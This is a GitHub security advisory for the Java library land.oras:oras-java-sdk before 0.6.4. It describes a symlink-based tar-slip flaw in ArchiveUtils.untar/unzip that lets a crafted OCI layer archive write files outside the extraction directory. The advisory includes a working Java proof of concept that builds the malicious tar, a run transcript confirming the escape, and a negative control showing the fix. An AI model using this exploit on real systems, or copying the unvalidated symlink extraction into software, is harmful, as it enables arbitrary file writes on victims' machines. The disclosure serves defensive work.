GitHub Advisoryadvisory · Maven

GHSA-j6hm-v3x2-qv6j land.oras:oras-java-sdk: Symlink-based path traversal in ArchiveUtils.untar / unzip allows arbitrary file write outside extraction directory

LOW Published 2026-07-01 Modified 2026-07-01 Official page ↗
Ecosystem
Maven
Packages
land.oras:oras-java-sdk
Severity
Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Weaknesses
CWE-22, CWE-59
Reviewed
2026-07-01

Affected packages

• Maven land.oras:oras-java-sdk: < 0.6.4 → fixed in 0.6.4

Description

Summary `ArchiveUtils.untar(InputStream, Path)` and `ArchiveUtils.unzip(InputStream, Path)` in `land.oras:oras-java-sdk` create symbolic-link entries from an archive without validating the symlink target. A malicious tar (or zip) shipped as an OCI layer blob can place a symlink under the extraction directory whose target points outside that directory, then ship a regular-file entry whose path traverses through that symlink. The subsequent `Files.newOutputStream` call follows the symlink and writes the file outside the caller's chosen `target` directory. This bypasses the existing `ensureSafeEntry` containment check, which only validates `entry.getName()` and not `entry.getLinkName()`. Reachable from the public `Registry.pullArtifact` / `OCILayout.pullArtifact` API whenever the manifest layer carries `io.deis.oras.content.unpack=true`, and from any direct caller of `ArchiveUtils.untar` / `ArchiveUtils.uncompressuntar` (e.g. consumers that pull an archive blob and extract it themselves, such as project-scaffolding CLIs that fetch templates from OCI registries). Affected versions `land.oras:oras-java-sdk` ` `pullLayer` (Registry.java:1088). When `io.deis.oras.content.unpack=true` is set on the layer, `pullLayer` calls `ArchiveUtils.untar(Files.newInputStream(tempArchive.getPath()), path)` at line 1109. The attacker-controlled blob is the input. • `OCILayout.pullArtifact` similar path through the layout's blob store. • Any direct caller of `ArchiveUtils.untar` / `ArchiveUtils.uncompressuntar` / `ArchiveUtils.unzip` from a downstream consumer that fetches an archive blob and extracts it. Proof of concept (E2E against deployed Maven Central `land.oras:oras-java-sdk:0.6.3`) `pom.xml`: ```xml land.oras oras-java-sdk 0.6.3 ``` `src/main/java/TarSlipPoc.java`: ```java import land.oras.utils.ArchiveUtils; import org.apache.commons.compress.archivers.tar.TarArchiveEntry; import org.apache.commons.compress.archivers.tar.TarArchiveOutputStream; import java.io.*; import java.nio.file.*; public class TarSlipPoc { public static void main(String[] args) throws Exception { Path tmp = Files.createTempDirectory("orasslip-"); Path target = tmp.resolve("safe-output"); Files.createDirectories(target); Path escapeFile = tmp.resolve("ESCAPED.txt"); Files.deleteIfExists(escapeFile); Path mtar = tmp.resolve("malicious.tar"); try (TarArchiveOutputStream tout = new TarArchiveOutputStream(Files.newOutputStream(mtar))) { tout.setLongFileMode(TarArchiveOutputStream.LONGFILE_POSIX); // Entry 1: symlink at "evil-link" pointing one dir above target TarArchiveEntry symlinkEntry = new TarArchiveEntry("evil-link", TarArchiveEntry.LF_SYMLINK); symlinkEntry.setLinkName(tmp.toAbsolutePath().toString()); symlinkEntry.setMode(0777); tout.putArchiveEntry(symlinkEntry); tout.closeArchiveEntry(); // Entry 2: regular file under "evil-link/" — write follows symlink byte[] data = "POC SUCCESS\n".getBytes(); TarArchiveEntry fileEntry = new TarArchiveEntry("evil-link/ESCAPED.txt"); fileEntry.setSize(data.length); fileEntry.setMode(0644); tout.putArchiveEntry(fileEntry); tout.write(data); tout.closeArchiveEntry(); } System.out.println("ESCAPED.txt pre-extract: " + Files.exists(escapeFile)); ArchiveUtils.untar(mtar, target); System.out.println("ESCAPED.txt post-extract (outside target): " + Files.exists(escapeFile)); } } ``` Run transcript (JDK 25, Apache Maven 3.9.16, `oras-java-sdk:0.6.3` from Maven Central): ``` === PRE-EXTRACT === target=/var/folders/7n/y98nrcg928ldg8685njy1qjc0000gn/T/orasslip-8932319985819096427/safe-output ESCAPED.txt exists: false === POST-EXTRACT === target listing: /var/folders/.../orasslip-.../safe-output /var/folders/.../orasslip-.../safe-output/evil-link (symlink) ESCAPED.txt exists outside target: true ESCAPED.txt contents: POC SUCCESS SYMLINK TAR-SLIP CONFIRMED ``` Negative control: same malicious tar, extracted through a routine that resolves `entry.getLinkName()` against the entry's parent and requires the result to stay under `target`, AND opens regular files with `LinkOption.NOFOLLOW_LINKS`: ``` === NEGATIVE CONTROL (link-target validation) === BLOCKED symlink 'evil-link' -> '/var/folders/.../orasslip-neg-...' (escapes target) ESCAPED.txt exists outside target: false NEGATIVE CONTROL OK — no escape, safe under fix ``` Impact • Arbitrary file write under the privileges of the JVM process th…

Related

Weakness · CWE (2)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
  • CWE-59 Improper Link Resolution Before File Access weakness

References